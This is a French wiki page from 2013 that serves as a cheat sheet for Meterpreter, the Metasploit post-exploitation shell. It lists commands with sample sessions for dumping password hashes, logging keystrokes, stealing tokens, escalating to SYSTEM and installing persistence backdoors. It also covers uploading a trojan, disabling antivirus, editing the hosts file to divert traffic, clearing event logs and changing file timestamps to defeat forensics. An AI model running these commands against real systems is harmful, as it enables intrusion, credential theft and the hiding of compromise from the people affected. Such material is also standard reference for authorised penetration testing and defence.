Meterpreter

De Linuxmemo.

(Différences entre les versions)

Version actuelle en date du 18 mars 2013 à 15:15

[modifier] meterpreter

help

The 'help' command, as may be expected, displays the Meterpreter help menu.
meterpreter > help
Core Commands
=============
   Command       Description
   -------       -----------
   ?             Help menu
   background    Backgrounds the current session
   channel       Displays information about active channels
...snip...

background

The 'background' command will send the current Meterpreter session to the background and return you to the msf prompt. To get back to your Meterpreter session, just interact with it again.
meterpreter > background
msf exploit(ms08_067_netapi) > sessions -i 1
[*] Starting interaction with 1...
meterpreter >

ps

The 'ps' command displays a list of running processes on the target.
meterpreter > ps
Process list
============
   PID   Name                  Path
   ---   ----                  ----
   132   VMwareUser.exe        C:\Program Files\VMware\VMware Tools\VMwareUser.exe
   152   VMwareTray.exe        C:\Program Files\VMware\VMware Tools\VMwareTray.exe
   288   snmp.exe              C:\WINDOWS\System32\snmp.exe
...snip...

migrate

Using the 'migrate' post module, you can migrate to another process on the victim.
meterpreter > run post/windows/manage/migrate 
[*] Running module against V-MAC-XP
[*] Current server process: svchost.exe (1076)
[*] Migrating to explorer.exe...
[*] Migrating into process ID 816
[*] New server process: Explorer.EXE (816)
meterpreter >

ls

As in Linux, the 'ls' command will list the files in the current remote directory.
meterpreter > ls
Listing: C:\Documents and Settings\victim
=========================================
Mode              Size     Type  Last modified                   Name
----              ----     ----  -------------                   ----
40777/rwxrwxrwx   0        dir   Sat Oct 17 07:40:45 -0600 2009  .
40777/rwxrwxrwx   0        dir   Fri Jun 19 13:30:00 -0600 2009  ..
100666/rw-rw-rw-  218      fil   Sat Oct 03 14:45:54 -0600 2009  .recently-used.xbel
40555/r-xr-xr-x   0        dir   Wed Nov 04 19:44:05 -0700 2009  Application Data
...snip...

download

The 'download' command downloads a file from the remote machine. Note the use of the double-slashes when giving the Windows path.
meterpreter > download c:\\boot.ini
[*] downloading: c:\boot.ini -> c:\boot.ini
[*] downloaded : c:\boot.ini -> c:\boot.ini/boot.ini
meterpreter >

upload

As with the 'download' command, you need to use double-slashes with the 'upload' command.
meterpreter > upload evil_trojan.exe c:\\windows\\system32
[*] uploading  : evil_trojan.exe -> c:\windows\system32
[*] uploaded   : evil_trojan.exe -> c:\windows\system32\evil_trojan.exe
meterpreter >

ipconfig

The 'ipconfig' command displays the network interfaces and addresses on the remote machine.
meterpreter > ipconfig
MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask     : 255.0.0.0
AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport
Hardware MAC: 00:0c:29:10:f5:15
IP Address  : 192.168.1.104
Netmask     : 255.255.0.0
meterpreter >

getuid

Running 'getuid' will display the user that the Meterpreter server is running as on the host.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

execute

The 'execute' command runs a command on the target.
meterpreter > execute -f cmd.exe -i -H
Process 38320 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>

shell

The 'shell' command will present you with a standard shell on the target system.
meterpreter > shell
Process 39640 created.
Channel 2 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>

idletime

Running 'idletime' will display the number of seconds that the user at the remote machine has been idle.
meterpreter > idletime
User has been idle for: 5 hours 26 mins 35 secs
meterpreter >

hashdump

The 'hashdump' post module will dump the contents of the SAM database.

help

Open Meterpreter usage help

run scriptname

Run Meterpreter-based scripts; for a full list check the scripts/meterpreter directory

sysinfo

Show the system information on the remote target

ls

List the files and folders on the target

use priv

Load the privilege extension for extended Meterpreter libraries

ps

Show all running processes and which accounts are associated with each process

migrate PID

Migrate to the specific process ID (PID is the target process ID gained from the ps command)

use incognito

Load incognito functions. (Used for token stealing and impersonation on a target machine)

list_tokens -u

List available tokens on the target by user

list_tokens -g

List available tokens on the target by group

impersonate_token DOMAIN_NAME\\USERNAME

Impersonate a token available on the target

steal_token PID

Steal the tokens available for a given process and impersonate that token

drop_token

Stop impersonating the current token

getsystem

Attempt to elevate permissions to SYSTEM-level access through multiple attack vectors

shell

Drop into an interactive shell with all available tokens

execute -f cmd.exe -i

Execute cmd.exe and interact with it

execute -f cmd.exe -i -t

Execute cmd.exe with all available tokens

execute -f cmd.exe -i -H -t

Execute cmd.exe with all available tokens and make it a hidden process

rev2self

Revert back to the original user you used to compromise the target

reg command

Interact, create, delete, query, set, and much more in the target’s registry

setdesktop number

Switch to a different screen based on who is logged in

screenshot

Take a screenshot of the target’s screen

upload file

Upload a file to the target

download file

Download a file from the target

keyscan_start

Start sniffing keystrokes on the remote target

keyscan_dump

Dump the remote keys captured on the target

keyscan_stop

Stop sniffing keystrokes on the remote target

getprivs

Get as many privileges as possible on the target

uictl enable keyboard/mouse

Take control of the keyboard and/or mouse

background

Run your current Meterpreter shell in the background

hashdump

Dump all hashes on the target

use sniffer

Load the sniffer module

sniffer_interfaces

List the available interfaces on the target

sniffer_dump interfaceID pcapname

Start sniffing on the remote target

sniffer_start interfaceID packet-buffer

Start sniffing with a specific range for a packet buffer

sniffer_stats interfaceID

Grab statistical information from the interface you are sniffing

sniffer_stop interfaceID

Stop the sniffer

add_user username password -h ip

Add a user on the remote target

add_group_user “Domain Admins” username -h ip

Add a username to the Domain Administrators group on the remote target

clearev

Clear the event log on the target machine

timestomp

Change file attributes, such as creation date (antiforensics measure)

reboot

Reboot the target machine

portfwd

[modifier] Extension

sinffer

load sniffer

Incognito

load incognito

espia (screengraber)

load espia

backdoor

run persistence

metsvc

run metsvc -h

use exploit/multi/handler
set PAYLOAD windows/metsvc_bind_tcp
exploit

port 31337

[modifier] Scripts

checkvm

The 'checkvm' script, as its name suggests, checks to see if you exploited a virtual machine. This information can be very useful.

meterpreter > run checkvm

getcountermeasure

The 'getcountermeasure' script checks the security configuration on the victims system and can disable other security measures such as A/V, Firewall, and much more.

meterpreter > run getcountermeasure

getgui

The 'getgui' script is used to enable RDP on a target system if it is disabled.

meterpreter > run getgui 
 Windows Remote Desktop Enabler Meterpreter Script
Usage: getgui -u  -p
OPTIONS:
-e   Enable RDP only.
-h   Help menu.
-p   The Password of the user to add.
-u   The Username of the user to add.
meterpreter > run getgui -e

get_local_subnets

The 'get_local_subnets' script is used to get the local subnet mask of a victim. This can be very useful information to have for pivoting.

meterpreter > run get_local_subnets

gettelnet

The 'gettelnet' script is used to enable telnet on the victim if it is disabled.

meterpreter > run gettelnet 
Windows Telnet Server Enabler Meterpreter Script
Usage: gettelnet -u  -p
OPTIONS:
-e   Enable Telnet Server only.
-h   Help menu.
-p   The Password of the user to add.
-u   The Username of the user to add.
meterpreter > run gettelnet -e

hostsedit

The 'hostsedit' Meterpreter script is for adding entries to the Windows hosts file. Since Windows will check the hosts file first instead of the configured DNS server, it will assist in diverting traffic to a fake entry or entries. Either a single entry can be provided or a series of entries can be provided with a file containing one entry per line.

meterpreter > run hostsedit 
OPTIONS:
-e   Host entry in the format of IP,Hostname.
-h   Help Options.
-l   Text file with list of entries in the format of IP,Hostname. One per line.
Example:
run hostsedit -e 127.0.0.1,google.com
run hostsedit -l /tmp/fakednsentries.txt
 meterpreter > run hostsedit -e 10.211.55.162,www.microsoft.com
[*] Making Backup of the hosts file.
[*] Backup loacated in C:\WINDOWS\System32\drivers\etc\hosts62497.back
[*] Adding Record for Host www.microsoft.com with IP 10.211.55.162
[*] Clearing the DNS Cache

killav

The 'killav' script can be used to disable most antivirus programs running as a service on a target.

meterpreter > run killav

remotewinenum

The 'remotewinenum' script will enumerate system information through wmic on victim. Make note of where the logs are stored.

meterpreter > run remotewinenum
 Remote Windows Enumeration Meterpreter Script
This script will enumerate windows hosts in the target environment
given a username and password or using the credential under witch
Meterpreter is running using WMI wmic windows native tool.
Usage:
OPTIONS:
-h   Help menu.
-p   Password of user on target system
-t   The target address
-u   User on the target system (If not provided it will use credential of process)
meterpreter > run remotewinenum -u administrator -p ihazpassword -t 10.211.55.128

scraper

The 'scraper' script can grab even more system information, including the entire registry.

meterpreter > run scraper

From our examples above we can see that there are plenty of Meterpreter scripts for us to enumerate a ton of information, disable anti-virus for us, enable RDP, and much much more.

winenum

The 'winenum' script makes for a very detailed windows enumeration tool. It dumps tokens, hashes and much more.

meterpreter > run winenum

Meterpreter

De Linuxmemo.

Version actuelle en date du 18 mars 2013 à 15:15

[modifier] meterpreter

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[modifier] Scripts

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